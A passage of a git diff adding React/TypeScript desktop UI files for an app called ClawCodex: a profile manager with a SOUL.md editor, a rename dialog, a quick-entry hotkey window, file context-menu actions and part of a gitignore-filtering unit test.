+import { normalize } from '@/lib/text'
+import { notify, notifyError } from '@/store/notifications'
+import { $profileColors, refreshProfiles } from '@/store/profile'
+
+import { useRefreshHotkey } from '../hooks/use-refresh-hotkey'
+import {
+  Panel,
+  PanelAddButton,
+  PanelBody,
+  PanelDetail,
+  PanelEmpty,
+  PanelHeader,
+  PanelList,
+  PanelListRow,
+  type PanelMenuItem,
+  PanelMeta,
+  PanelPill,
+  PanelSectionLabel
+} from '../overlays/panel'
+
+import { CreateProfileDialog } from './create-profile-dialog'
+import { DeleteProfileDialog } from './delete-profile-dialog'
+import { RenameProfileDialog } from './rename-profile-dialog'
+
+interface ProfilesViewProps {
+  onClose: () => void
+}
+
+export function ProfilesView({ onClose }: ProfilesViewProps) {
+  const { t } = useI18n()
+  const p = t.profiles
+  const [profiles, setProfiles] = useState<null | ProfileInfo[]>(null)
+  const [selectedName, setSelectedName] = useState<null | string>(null)
+  const [query, setQuery] = useState('')
+  const [createOpen, setCreateOpen] = useState(false)
+  const [pendingRename, setPendingRename] = useState<null | ProfileInfo>(null)
+  const [pendingDelete, setPendingDelete] = useState<null | ProfileInfo>(null)
+
+  const refresh = useCallback(async () => {
+    try {
+      const list = await refreshProfiles()
+      setProfiles(list)
+      setSelectedName(current => {
+        if (current && list.some(p => p.name === current)) {
+          return current
+        }
+
+        return list.find(p => p.is_default)?.name ?? list[0]?.name ?? null
+      })
+    } catch (err) {
+      notifyError(err, p.failedLoad)
+    }
+  }, [p])
+
+  useRefreshHotkey(refresh)
+
+  useEffect(() => {
+    void refresh()
+  }, [refresh])
+
+  const selected = useMemo(() => {
+    if (!profiles) {
+      return null
+    }
+
+    return profiles.find(p => p.name === selectedName) ?? profiles[0] ?? null
+  }, [profiles, selectedName])
+
+  const visibleProfiles = useMemo(() => {
+    const q = normalize(query)
+
+    if (!profiles || !q) {
+      return profiles ?? []
+    }
+
+    return profiles.filter(
+      profile => profile.name.toLowerCase().includes(q) || (profile.model ?? '').toLowerCase().includes(q)
+    )
+  }, [profiles, query])
+
+  // The shared Create/Rename dialogs own the createProfile / renameProfile /
+  // updateProfileSoul calls; the panel just selects the resulting profile and
+  // re-pulls the list.
+  const selectAndRefresh = useCallback(
+    async (name: string) => {
+      setSelectedName(name)
+      await refresh()
+    },
+    [refresh]
+  )
+
+  return (
+    <Panel closeLabel={p.close} onClose={onClose}>
+      {!profiles ? (
+        <PageLoader label={p.loading} />
+      ) : profiles.length === 0 ? (
+        <PanelEmpty
+          action={
+            <Button onClick={() => setCreateOpen(true)} size="sm">
+              {p.newProfile}
+            </Button>
+          }
+          description={p.createDesc}
+          icon="organization"
+          title={p.noProfiles}
+        />
+      ) : (
+        <>
+          <PanelHeader subtitle={p.count(profiles.length)} title={p.title} />
+          <PanelBody>
+            <PanelList
+              onSearchChange={setQuery}
+              searchLabel={p.search}
+              searchPlaceholder={p.search}
+              searchValue={query}
+            >
+              {visibleProfiles.map(profile => (
+                <ProfileRow
+                  active={selected?.name === profile.name}
+                  key={profile.name}
+                  menuItems={
+                    profile.is_default
+                      ? []
+                      : [
+                          { icon: 'edit', label: p.renameMenu, onSelect: () => setPendingRename(profile) },
+                          {
+                            icon: 'trash',
+                            label: t.common.delete,
+                            onSelect: () => setPendingDelete(profile),
+                            tone: 'danger'
+                          }
+                        ]
+                  }
+                  onSelect={() => setSelectedName(profile.name)}
+                  profile={profile}
+                />
+              ))}
+              <PanelAddButton label={p.newProfile} onClick={() => setCreateOpen(true)} />
+            </PanelList>
+
+            {selected ? (
+              <ProfileDetail key={selected.name} profile={selected} />
+            ) : (
+              <PanelEmpty description={p.selectPrompt} icon="account" />
+            )}
+          </PanelBody>
+        </>
+      )}
+
+      <RenameProfileDialog
+        currentName={pendingRename?.name ?? ''}
+        onClose={() => setPendingRename(null)}
+        onRenamed={selectAndRefresh}
+        open={pendingRename !== null}
+      />
+
+      <CreateProfileDialog
+        onClose={() => setCreateOpen(false)}
+        onCreated={selectAndRefresh}
+        open={createOpen}
+        profiles={profiles ?? []}
+      />
+
+      <DeleteProfileDialog
+        onClose={() => setPendingDelete(null)}
+        onDeleted={async () => {
+          setSelectedName(null)
+          await refresh()
+        }}
+        open={pendingDelete !== null}
+        profile={pendingDelete}
+      />
+    </Panel>
+  )
+}
+
+function ProfileRow({
+  active,
+  menuItems,
+  onSelect,
+  profile
+}: {
+  active: boolean
+  menuItems: PanelMenuItem[]
+  onSelect: () => void
+  profile: ProfileInfo
+}) {
+  const colors = useStore($profileColors)
+
+  return (
+    <PanelListRow
+      active={active}
+      lead={
+        <ProfileGlyph
+          color={resolveProfileColor(profile.name, colors)}
+          isDefault={profile.is_default}
+          name={profile.name}
+        />
+      }
+      menuItems={menuItems}
+      menuLabel={profile.name}
+      onSelect={onSelect}
+      rowKey={profile.name}
+      title={profile.name}
+    />
+  )
+}
+
+// Leading glyph for a profile row, mirroring the sidebar rail: the default
+// profile gets the `home` icon; named profiles get a soft color-tinted square
+// with their initial in the profile's color.
+function ProfileGlyph({ color, isDefault, name }: { color: null | string; isDefault: boolean; name: string }) {
+  if (isDefault) {
+    return <Codicon className="shrink-0 text-muted-foreground/70" name="home" size="0.9rem" />
+  }
+
+  const hue = color ?? 'var(--ui-text-quaternary)'
+
+  const initial =
+    name
+      .replace(/[^a-z0-9]/gi, '')
+      .charAt(0)
+      .toUpperCase() || '?'
+
+  return (
+    <span
+      aria-hidden="true"
+      className="grid size-4 shrink-0 place-items-center rounded-[3px] text-[0.5rem] font-semibold uppercase leading-none"
+      style={{ backgroundColor: profileColorSoft(hue, 22), color: color ?? undefined }}
+    >
+      {initial}
+    </span>
+  )
+}
+
+function ProfileDetail({ profile }: { profile: ProfileInfo }) {
+  const { t } = useI18n()
+  const p = t.profiles
+
+  return (
+    <PanelDetail>
+      <header className="space-y-3">
+        <div className="min-w-0">
+          <div className="flex flex-wrap items-center gap-2">
+            <h3 className="text-[0.95rem] font-semibold tracking-tight text-foreground">{profile.name}</h3>
+            {profile.is_default && <PanelPill tone="good">{p.defaultBadge}</PanelPill>}
+            {profile.has_env && <PanelPill tone="muted">.env</PanelPill>}
+          </div>
+          <p
+            className="mt-1 truncate font-mono text-[0.66rem] text-muted-foreground/55"
+            title={displayPath(profile.path)}
+          >
+            {displayPath(profile.path)}
+          </p>
+        </div>
+
+        <PanelMeta
+          rows={[
+            {
+              label: p.modelLabel,
+              value: profile.model ? (
+                <span className="font-mono">
+                  {profile.model}
+                  {profile.provider ? <span className="text-muted-foreground/55"> · {profile.provider}</span> : null}
+                </span>
+              ) : (
+                <span className="text-muted-foreground/55">{p.notSet}</span>
+              )
+            },
+            { label: p.skillsLabel, value: profile.skill_count }
+          ]}
+        />
+      </header>
+
+      <SoulEditor profileName={profile.name} />
+    </PanelDetail>
+  )
+}
+
+function SoulEditor({ profileName }: { profileName: string }) {
+  const { t } = useI18n()
+  const p = t.profiles
+  const [content, setContent] = useState('')
+  const [original, setOriginal] = useState('')
+  const [loading, setLoading] = useState(true)
+  const [saving, setSaving] = useState(false)
+  const [error, setError] = useState<null | string>(null)
+  const requestRef = useRef<string>(profileName)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    requestRef.current = profileName
+    setLoading(true)
+    setError(null)
+    setContent('')
+    setOriginal('')
+
+    void (async () => {
+      try {
+        const soul = await getProfileSoul(profileName)
+
+        if (requestRef.current === profileName) {
+          setContent(soul.content)
+          setOriginal(soul.content)
+        }
+      } catch (err) {
+        if (requestRef.current === profileName) {
+          setError(err instanceof Error ? err.message : p.failedLoadSoul)
+        }
+      } finally {
+        if (requestRef.current === profileName) {
+          setLoading(false)
+        }
+      }
+    })()
+  }, [p, profileName])
+
+  const dirty = content !== original
+
+  async function handleSave() {
+    setSaving(true)
+    setError(null)
+
+    try {
+      await updateProfileSoul(profileName, content)
+      setOriginal(content)
+      notify({ kind: 'success', title: p.soulSaved, message: profileName })
+    } catch (err) {
+      setError(err instanceof Error ? err.message : p.failedSaveSoul)
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  return (
+    <section className="space-y-2">
+      <div className="flex flex-wrap items-baseline justify-between gap-2">
+        <div>
+          <PanelSectionLabel className="text-[0.7rem] tracking-[0.14em]">SOUL.md</PanelSectionLabel>
+          <p className="text-xs text-muted-foreground">{p.soulDesc}</p>
+        </div>
+        {dirty && <span className="text-[0.65rem] text-muted-foreground">{p.unsavedChanges}</span>}
+      </div>
+
+      {loading ? (
+        <PageLoader className="min-h-44" label={p.loadingSoul} />
+      ) : (
+        <div className="min-h-48">
+          <CodeEditor
+            filePath="SOUL.md"
+            framed
+            initialValue={content}
+            key={profileName}
+            onChange={setContent}
+            onSave={() => void handleSave()}
+          />
+        </div>
+      )}
+
+      {error && (
+        <div className="flex items-start gap-2 rounded bg-destructive/10 px-3 py-2 text-xs text-destructive">
+          <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+          <span>{error}</span>
+        </div>
+      )}
+
+      <div className="flex justify-end">
+        <Button disabled={!dirty || saving || loading} onClick={() => void handleSave()} size="sm">
+          <Save />
+          {saving ? p.saving : p.saveSoul}
+        </Button>
+      </div>
+    </section>
+  )
+}
diff --git a/ui-desktop/src/app/profiles/rename-profile-dialog.tsx b/ui-desktop/src/app/profiles/rename-profile-dialog.tsx
new file mode 100644
index 000000000..dd6454f2a
--- /dev/null
+++ b/ui-desktop/src/app/profiles/rename-profile-dialog.tsx
@@ -0,0 +1,129 @@
+import { useEffect, useState } from 'react'
+
+import { renameProfile } from '@/clawcodex'
+import { ActionStatus } from '@/components/ui/action-status'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { Field, FieldHint } from '@/components/ui/field'
+import { SanitizedInput } from '@/components/ui/sanitized-input'
+import { useI18n } from '@/i18n'
+import { AlertTriangle } from '@/lib/icons'
+import { slug } from '@/lib/sanitize'
+
+import { isValidProfileName } from './create-profile-dialog'
+
+// Self-contained rename (owns the renameProfile call) so every caller just
+// reacts via onRenamed. Unchanged name is a no-op close.
+export function RenameProfileDialog({
+  currentName,
+  onClose,
+  onRenamed,
+  open
+}: {
+  currentName: string
+  onClose: () => void
+  onRenamed?: (name: string) => Promise<void> | void
+  open: boolean
+}) {
+  const { t } = useI18n()
+  const p = t.profiles
+  const [name, setName] = useState(currentName)
+  const [status, setStatus] = useState<'done' | 'idle' | 'saving'>('idle')
+  const [error, setError] = useState<null | string>(null)
+
+  useEffect(() => {
+    if (!open) {
+      return
+    }
+
+    setName(currentName)
+    setError(null)
+    setStatus('idle')
+  }, [currentName, open])
+
+  const trimmed = name.trim()
+  const unchanged = trimmed === currentName
+  const invalid = trimmed !== '' && !unchanged && !isValidProfileName(trimmed)
+  const busy = status === 'saving' || status === 'done'
+
+  async function handleSubmit(event: React.FormEvent) {
+    event.preventDefault()
+
+    if (unchanged) {
+      onClose()
+
+      return
+    }
+
+    if (!trimmed || invalid) {
+      setError(invalid ? p.invalidName(p.nameHint) : p.nameRequired)
+
+      return
+    }
+
+    setStatus('saving')
+    setError(null)
+
+    try {
+      await renameProfile(currentName, trimmed)
+      await onRenamed?.(trimmed)
+      setStatus('done')
+      window.setTimeout(onClose, 800)
+    } catch (err) {
+      setStatus('idle')
+      setError(err instanceof Error ? err.message : p.failedRename)
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={value => !value && !busy && onClose()} open={open}>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>{p.renameTitle}</DialogTitle>
+          <DialogDescription>
+            {p.renameDescPrefix}
+            <span className="font-mono">~/.local/bin</span>
+            {p.renameDescSuffix}
+          </DialogDescription>
+        </DialogHeader>
+
+        <form className="grid gap-4" onSubmit={handleSubmit}>
+          <Field htmlFor="rename-profile-name" label={p.newNameLabel}>
+            <SanitizedInput
+              aria-invalid={invalid}
+              autoFocus
+              id="rename-profile-name"
+              onValueChange={setName}
+              sanitize={slug}
+              value={name}
+            />
+            <FieldHint error={invalid}>{p.nameHint}</FieldHint>
+          </Field>
+
+          {error && (
+            <div className="flex items-start gap-2 rounded-md border border-destructive/30 bg-destructive/10 px-3 py-2 text-xs text-destructive">
+              <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+              <span>{error}</span>
+            </div>
+          )}
+
+          <DialogFooter>
+            <Button disabled={busy} onClick={onClose} type="button" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button disabled={busy || invalid || unchanged} type="submit">
+              <ActionStatus busy={p.renaming} done={p.renamed} idle={p.rename} state={status} />
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/app/quick-entry/quick-entry-app.tsx b/ui-desktop/src/app/quick-entry/quick-entry-app.tsx
new file mode 100644
index 000000000..fb37221cc
--- /dev/null
+++ b/ui-desktop/src/app/quick-entry/quick-entry-app.tsx
@@ -0,0 +1,197 @@
+import { useEffect, useReducer, useRef } from 'react'
+
+import {
+  initialQuickComposerState,
+  QUICK_TARGET_CURRENT,
+  QUICK_TARGET_NEW,
+  type QuickComposerEvent,
+  quickComposerReducer,
+  type QuickComposerState
+} from '@/store/quick-entry'
+
+/**
+ * The Quick Entry composer — the whole renderer surface of the global-hotkey
+ * mini window. Deliberately one input plus a session-target picker and nothing
+ * else: this is a capture surface, not a second chat.
+ *
+ * All behavior rides `quickComposerReducer` (pure, unit-tested): submit sends
+ * the trimmed text + target through the shell and asks to hide; an empty submit
+ * does neither so a stray Enter can't make the window vanish; Escape and losing
+ * focus dismiss without sending; a dead gateway disables the input entirely
+ * (the reducer refuses the send AND the input paints the reconnect hint).
+ *
+ * The window itself has no gateway connection. Its view of backend truth — is
+ * the gateway up, which recent sessions exist — is pushed in by the primary
+ * renderer through main (`onState`), and its text goes back the same road to
+ * the primary renderer's normal prompt-submit path.
+ */
+export function QuickEntryApp() {
+  const inputRef = useRef<HTMLInputElement>(null)
+
+  // The reducer returns { send, state }; this wrapper performs the side effect
+  // (hand the payload to the shell, ask to hide) and stores the next state, so
+  // the decision stays pure and testable while the effects stay in one place.
+  const [state, dispatch] = useReducer((current: QuickComposerState, event: QuickComposerEvent) => {
+    const { send, state: next } = quickComposerReducer(current, event)
+    const api = window.clawcodexDesktop?.quickEntry
+
+    if (send) {
+      api?.submit(send)
+    } else if (!next.visible && current.visible) {
+      api?.dismiss()
+    }
+
+    return next
+  }, initialQuickComposerState)
+
+  // Re-summoned by the chord: the shell reuses the window, so reset the draft
+  // and take the keyboard back for a fresh capture. Also adopt gateway-state
+  // pushes (connection + recent sessions) relayed from the primary renderer.
+  useEffect(() => {
+    const api = window.clawcodexDesktop?.quickEntry
+
+    const offShown = api?.onShown(() => {
+      dispatch({ type: 'shown' })
+      requestAnimationFrame(() => inputRef.current?.focus())
+    })
+
+    const offState = api?.onState(payload => {
+      dispatch({
+        connected: payload?.connected === true,
+        sessions: Array.isArray(payload?.sessions) ? payload.sessions : [],
+        type: 'state'
+      })
+    })
+
+    inputRef.current?.focus()
+
+    return () => {
+      offShown?.()
+      offState?.()
+    }
+  }, [])
+
+  return (
+    <div
+      style={{
+        alignItems: 'center',
+        background: 'transparent',
+        display: 'flex',
+        height: '100vh',
+        justifyContent: 'center',
+        padding: 12,
+        width: '100vw'
+      }}
+    >
+      <div
+        style={{
+          background: 'var(--ui-bg-elevated, var(--background))',
+          border: '1px solid var(--ui-stroke-secondary, rgba(127,127,127,0.35))',
+          borderRadius: 12,
+          boxShadow: '0 18px 48px rgba(0,0,0,0.38)',
+          display: 'flex',
+          flexDirection: 'column',
+          gap: 8,
+          padding: '10px 14px',
+          width: '100%'
+        }}
+      >
+        <div style={{ alignItems: 'center', display: 'flex', gap: 10 }}>
+          <span
+            aria-hidden
+            style={{
+              color: 'var(--muted-foreground, #8a8a8a)',
+              flexShrink: 0,
+              fontSize: 15,
+              lineHeight: 1,
+              userSelect: 'none'
+            }}
+          >
+            ›
+          </span>
+          <input
+            aria-label="Quick Entry"
+            autoCapitalize="off"
+            autoComplete="off"
+            autoCorrect="off"
+            disabled={!state.connected}
+            onBlur={event => {
+              // Moving focus to the target picker is not leaving the window.
+              if (!event.relatedTarget) {
+                dispatch({ type: 'blur' })
+              }
+            }}
+            onChange={event => dispatch({ draft: event.target.value, type: 'edit' })}
+            onKeyDown={event => {
+              if (event.key === 'Enter' && !event.shiftKey) {
+                event.preventDefault()
+                dispatch({ type: 'submit' })
+              } else if (event.key === 'Escape') {
+                event.preventDefault()
+                dispatch({ type: 'dismiss' })
+              }
+            }}
+            placeholder={state.connected ? 'Ask ClawCodex…' : 'Not connected — open ClawCodex to reconnect'}
+            ref={inputRef}
+            spellCheck={false}
+            style={{
+              background: 'transparent',
+              border: 'none',
+              color: 'var(--foreground, #eee)',
+              flex: 1,
+              fontFamily: 'inherit',
+              fontSize: 15,
+              minWidth: 0,
+              opacity: state.connected ? 1 : 0.55,
+              outline: 'none'
+            }}
+            value={state.draft}
+          />
+        </div>
+        <div style={{ alignItems: 'center', display: 'flex', gap: 8 }}>
+          <label
+            htmlFor="quick-entry-target"
+            style={{
+              color: 'var(--muted-foreground, #8a8a8a)',
+              flexShrink: 0,
+              fontSize: 11,
+              userSelect: 'none'
+            }}
+          >
+            Send to
+          </label>
+          <select
+            aria-label="Target session"
+            disabled={!state.connected}
+            id="quick-entry-target"
+            onChange={event => dispatch({ target: event.target.value, type: 'target' })}
+            onKeyDown={event => {
+              if (event.key === 'Escape') {
+                event.preventDefault()
+                dispatch({ type: 'dismiss' })
+              }
+            }}
+            style={{
+              background: 'transparent',
+              border: '1px solid var(--ui-stroke-secondary, rgba(127,127,127,0.35))',
+              borderRadius: 6,
+              color: 'var(--foreground, #eee)',
+              fontSize: 11,
+              maxWidth: 320,
+              padding: '2px 6px'
+            }}
+            value={state.target}
+          >
+            <option value={QUICK_TARGET_CURRENT}>Current chat</option>
+            <option value={QUICK_TARGET_NEW}>New session</option>
+            {state.sessions.map(session => (
+              <option key={session.id} value={session.id}>
+                {session.title}
+              </option>
+            ))}
+          </select>
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/quick-entry/quick-entry-root.tsx b/ui-desktop/src/app/quick-entry/quick-entry-root.tsx
new file mode 100644
index 000000000..a45cb926b
--- /dev/null
+++ b/ui-desktop/src/app/quick-entry/quick-entry-root.tsx
@@ -0,0 +1,38 @@
+import { StrictMode } from 'react'
+import { createRoot } from 'react-dom/client'
+
+import { ErrorBoundary } from '@/components/error-boundary'
+import { ThemeProvider } from '@/themes/context'
+
+import { QuickEntryApp } from './quick-entry-app'
+
+/**
+ * Boot the Quick Entry window. Loaded by the same bundle as the main app but via
+ * `?win=quick`, so it shares CSS/theme tokens while mounting a minimal capture
+ * surface (no app shell, no gateway, no router).
+ *
+ * The index.html boot script paints an OPAQUE themed background to avoid a flash
+ * in normal windows; this window is a floating card on a transparent backdrop,
+ * so force the host layers see-through (same trick as the pet overlay).
+ */
+export function mountQuickEntry(): void {
+  const style = document.createElement('style')
+  style.textContent = 'html,body,#root{background:transparent !important;}'
+  document.head.appendChild(style)
+
+  const root = document.getElementById('root')
+
+  if (!root) {
+    return
+  }
+
+  createRoot(root).render(
+    <StrictMode>
+      <ErrorBoundary label="quick-entry">
+        <ThemeProvider>
+          <QuickEntryApp />
+        </ThemeProvider>
+      </ErrorBoundary>
+    </StrictMode>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/file-actions.tsx b/ui-desktop/src/app/right-sidebar/file-actions.tsx
new file mode 100644
index 000000000..dbb2ccb65
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/file-actions.tsx
@@ -0,0 +1,202 @@
+import { useStore } from '@nanostores/react'
+import { type KeyboardEvent as ReactKeyboardEvent, type ReactNode, useRef, useState } from 'react'
+
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import {
+  ContextMenu,
+  ContextMenuContent,
+  ContextMenuItem,
+  ContextMenuSeparator,
+  ContextMenuTrigger
+} from '@/components/ui/context-menu'
+import { translateNow, useI18n } from '@/i18n'
+import { isDesktopFsRemoteMode } from '@/lib/desktop-fs'
+import { IS_MAC } from '@/lib/keybinds/combo'
+import { cn } from '@/lib/utils'
+import {
+  $fileActionDialog,
+  beginInlineRename,
+  cancelInlineRename,
+  closeFileActionDialog,
+  copyFilePath,
+  executeFileDelete,
+  executeFileRename,
+  type FileActionTarget,
+  requestFileDelete,
+  revealFile,
+  toRelativePath
+} from '@/store/file-actions'
+import { notifyError } from '@/store/notifications'
+
+const IS_WIN = typeof navigator !== 'undefined' && /win/i.test(navigator.platform || navigator.userAgent || '')
+
+// F2 starts a rename anywhere; Enter starts one when a row is focused (VS Code).
+export function isRenameShortcut(event: KeyboardEvent | ReactKeyboardEvent): boolean {
+  return event.key === 'F2' || event.key === 'Enter'
+}
+
+/** The platform-appropriate "reveal in file manager" label (Finder / Explorer
+ *  / containing folder). Shared so every file menu reads consistently. */
+export function pickRevealLabel(finder: string, explorer: string, fileManager: string): string {
+  return IS_MAC ? finder : IS_WIN ? explorer : fileManager
+}
+
+interface FileEntryContextMenuProps {
+  children: ReactNode
+  isDirectory: boolean
+  /** Display name (basename). */
+  name: string
+  /** Absolute path on disk. */
+  path: string
+  /** Base dir for "Copy Relative Path" (the cwd / repo root). Omit to hide it. */
+  relativeTo?: null | string
+}
+
+/** Right-click menu shared by both file trees (browser + review/git). */
+export function FileEntryContextMenu({ children, isDirectory, name, path, relativeTo }: FileEntryContextMenuProps) {
+  const { t } = useI18n()
+  const m = t.fileMenu
+  // Reveal / rename / delete need the local filesystem; hide them on a remote
+  // backend (copy-path still works everywhere).
+  const localFs = !isDesktopFsRemoteMode()
+  const target: FileActionTarget = { isDirectory, name, path }
+  const revealLabel = pickRevealLabel(m.revealFinder, m.revealExplorer, m.revealFileManager)
+
+  return (
+    <ContextMenu>
+      <ContextMenuTrigger asChild>{children}</ContextMenuTrigger>
+      {/* Don't restore focus to the row on close: "Rename" mounts an autofocused
+          inline input, and the default focus-return would blur it immediately. */}
+      <ContextMenuContent onCloseAutoFocus={event => event.preventDefault()}>
+        {localFs && (
+          <>
+            <ContextMenuItem onSelect={() => void revealFile(path)}>{revealLabel}</ContextMenuItem>
+            <ContextMenuSeparator />
+          </>
+        )}
+        <ContextMenuItem onSelect={() => void copyFilePath(path)}>{m.copyPath}</ContextMenuItem>
+        {relativeTo && (
+          <ContextMenuItem onSelect={() => void copyFilePath(toRelativePath(path, relativeTo))}>
+            {m.copyRelativePath}
+          </ContextMenuItem>
+        )}
+        {localFs && (
+          <>
+            <ContextMenuSeparator />
+            <ContextMenuItem onSelect={() => beginInlineRename(path)}>{m.rename}</ContextMenuItem>
+            <ContextMenuItem onSelect={() => requestFileDelete(target)} variant="destructive">
+              {m.delete}
+            </ContextMenuItem>
+          </>
+        )}
+      </ContextMenuContent>
+    </ContextMenu>
+  )
+}
+
+/** Mounted once near the app root: the delete confirm dialog for shared file
+ *  actions. Rename is inline (see {@link InlineRenameInput}). */
+export function FileActionDialogs() {
+  const { t } = useI18n()
+  const dialog = useStore($fileActionDialog)
+  const deleting = dialog?.kind === 'delete'
+
+  return (
+    <ConfirmDialog
+      confirmLabel={t.fileMenu.delete}
+      description={t.fileMenu.deleteBody}
+      destructive
+      onClose={closeFileActionDialog}
+      onConfirm={() => {
+        if (deleting) {
+          return executeFileDelete(dialog.path)
+        }
+      }}
+      open={deleting}
+      title={deleting ? t.fileMenu.deleteTitle(dialog.name) : ''}
+    />
+  )
+}
+
+interface InlineRenameInputProps {
+  className?: string
+  /** Display name (basename) to seed the editor. */
+  name: string
+  /** Absolute path being renamed. */
+  path: string
+}
+
+/** The in-row rename editor (VS Code style): seeded with the name (stem
+ *  pre-selected), commits on Enter/blur, cancels on Esc. Render it in place of a
+ *  row's label when `$renamingPath === path`. */
+export function InlineRenameInput({ className, name, path }: InlineRenameInputProps) {
+  const [value, setValue] = useState(name)
+  // Enter then the resulting blur must not both commit; latch on first finish.
+  const done = useRef(false)
+  // Focus churn right after mount (context-menu close, arborist refocus, the
+  // fall-through click on the row) would blur→commit→cancel instantly; ignore
+  // blurs in this window and grab focus back instead.
+  const mountedAt = useRef(Date.now())
+
+  const finish = async (commit: boolean) => {
+    if (done.current) {
+      return
+    }
+
+    done.current = true
+    const next = value.trim()
+
+    if (commit && next && next !== name) {
+      try {
+        await executeFileRename(path, next)
+      } catch (error) {
+        notifyError(error, translateNow('errors.genericFailure'))
+      }
+    }
+
+    cancelInlineRename()
+  }
+
+  return (
+    <input
+      aria-label={translateNow('fileMenu.renameLabel')}
+      autoCapitalize="off"
+      autoComplete="off"
+      autoCorrect="off"
+      autoFocus
+      className={cn(
+        'min-w-0 flex-1 rounded-sm border border-[color-mix(in_srgb,var(--dt-composer-ring)_55%,transparent)] bg-(--ui-bg-elevated) px-1 py-0 text-xs text-foreground outline-none',
+        className
+      )}
+      onBlur={event => {
+        if (Date.now() - mountedAt.current < 250) {
+          event.currentTarget.focus()
+
+          return
+        }
+
+        void finish(true)
+      }}
+      onChange={event => setValue(event.target.value)}
+      onClick={event => event.stopPropagation()}
+      onDoubleClick={event => event.stopPropagation()}
+      onFocus={event => {
+        const dot = event.currentTarget.value.lastIndexOf('.')
+        event.currentTarget.setSelectionRange(0, dot > 0 ? dot : event.currentTarget.value.length)
+      }}
+      onKeyDown={event => {
+        event.stopPropagation()
+
+        if (event.key === 'Enter') {
+          event.preventDefault()
+          void finish(true)
+        } else if (event.key === 'Escape') {
+          event.preventDefault()
+          void finish(false)
+        }
+      }}
+      spellCheck={false}
+      value={value}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/files/dnd-manager.ts b/ui-desktop/src/app/right-sidebar/files/dnd-manager.ts
new file mode 100644
index 000000000..07f4d2f87
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/files/dnd-manager.ts
@@ -0,0 +1,27 @@
+import { createDragDropManager, type DragDropManager } from 'dnd-core'
+import { HTML5Backend } from 'react-dnd-html5-backend'
+
+let manager: DragDropManager | null = null
+
+/**
+ * A single, app-lifetime react-dnd manager for the file tree.
+ *
+ * react-arborist mounts its own react-dnd `DndProvider` with `HTML5Backend`
+ * inside every `<Tree>`. react-dnd v14 stores that provider's manager on a
+ * global, ref-counted singleton context and nulls it when the count hits 0.
+ * On a keyed remount (cwd / collapse changes force a fresh `<Tree>`), the
+ * singleton can be torn down and recreated while the previous `HTML5Backend`
+ * still owns the `window.__isReactDndHtml5Backend` setup flag — so the new
+ * backend's `setup()` throws "Cannot have two HTML5 backends at the same
+ * time." and trips the file-tree error boundary (it never recovers, because
+ * "Try again" just remounts into the same race).
+ *
+ * Passing arborist a stable `dndManager` makes it skip the global-singleton
+ * path entirely and reuse one backend for the lifetime of the app, so the
+ * window flag is never double-claimed.
+ */
+export function getFileTreeDndManager(): DragDropManager {
+  manager ??= createDragDropManager(HTML5Backend)
+
+  return manager
+}
diff --git a/ui-desktop/src/app/right-sidebar/files/ipc.test.ts b/ui-desktop/src/app/right-sidebar/files/ipc.test.ts
new file mode 100644
index 000000000..551a3c2a7
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/files/ipc.test.ts
@@ -0,0 +1,127 @@
+/// <reference types="node" />
+
+import { Buffer } from 'node:buffer'
+
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexReadDirEntry, ClawCodexReadDirResult } from '@/global'
+
+import { clearProjectDirCache, readProjectDir } from './ipc'
+
+const readDir = vi.fn<(path: string) => Promise<ClawCodexReadDirResult>>()
+const readFileDataUrl = vi.fn<(path: string) => Promise<string>>()
+const gitRoot = vi.fn<(path: string) => Promise<string | null>>()
+
+function ok(entries: ClawCodexReadDirEntry[]): ClawCodexReadDirResult {
+  return { entries }
+}
+
+function dataUrl(text: string) {
+  return `data:text/plain;base64,${Buffer.from(text, 'utf8').toString('base64')}`
+}
+
+function installBridge() {
+  ;(
+    window as unknown as {
+      clawcodexDesktop: {
+        gitRoot: typeof gitRoot
+        readDir: typeof readDir
+        readFileDataUrl: typeof readFileDataUrl
+      }
+    }
+  ).clawcodexDesktop = { gitRoot, readDir, readFileDataUrl }
+}
+
+describe('readProjectDir', () => {
+  beforeEach(() => {
+    clearProjectDirCache()
+    readDir.mockReset()
+    readFileDataUrl.mockReset()
+    gitRoot.mockReset()
+    installBridge()
+  })
+
+  afterEach(() => {
+    clearProjectDirCache()
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+  })
+
+  it('returns no-bridge when the desktop bridge is unavailable', async () => {
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+
+    await expect(readProjectDir('/repo')).resolves.toEqual({ entries: [], error: 'no-bridge' })
+  })
+
+  it('filters gitignored entries when readDir returns Windows-style paths', async () => {
+    gitRoot.mockResolvedValue('C:\\repo')
+    readDir.mockImplementation(async path => {
+      if (path === 'C:\\repo\\src') {
+        return ok([
+          { name: 'debug.log', path: 'C:\\repo\\src\\debug.log', isDirectory: false },
+          { name: '临时.txt', path: 'C:\\repo\\src\\临时.txt', isDirectory: false },
+          { name: 'keep.ts', path: 'C:\\repo\\src\\keep.ts', isDirectory: false }
+        ])
+      }
+
+      if (path === 'C:/repo') {
+        return ok([{ name: '.gitignore', path: 'C:/repo/.gitignore', isDirectory: false }])
+      }
+
+      if (path === 'C:/repo/src') {
+        return ok([])
+      }
+
+      return ok([])
+    })
+    readFileDataUrl.mockResolvedValue(dataUrl('# Unicode 路径规则\nsrc/*.log\nsrc/临时.txt\n'))
+
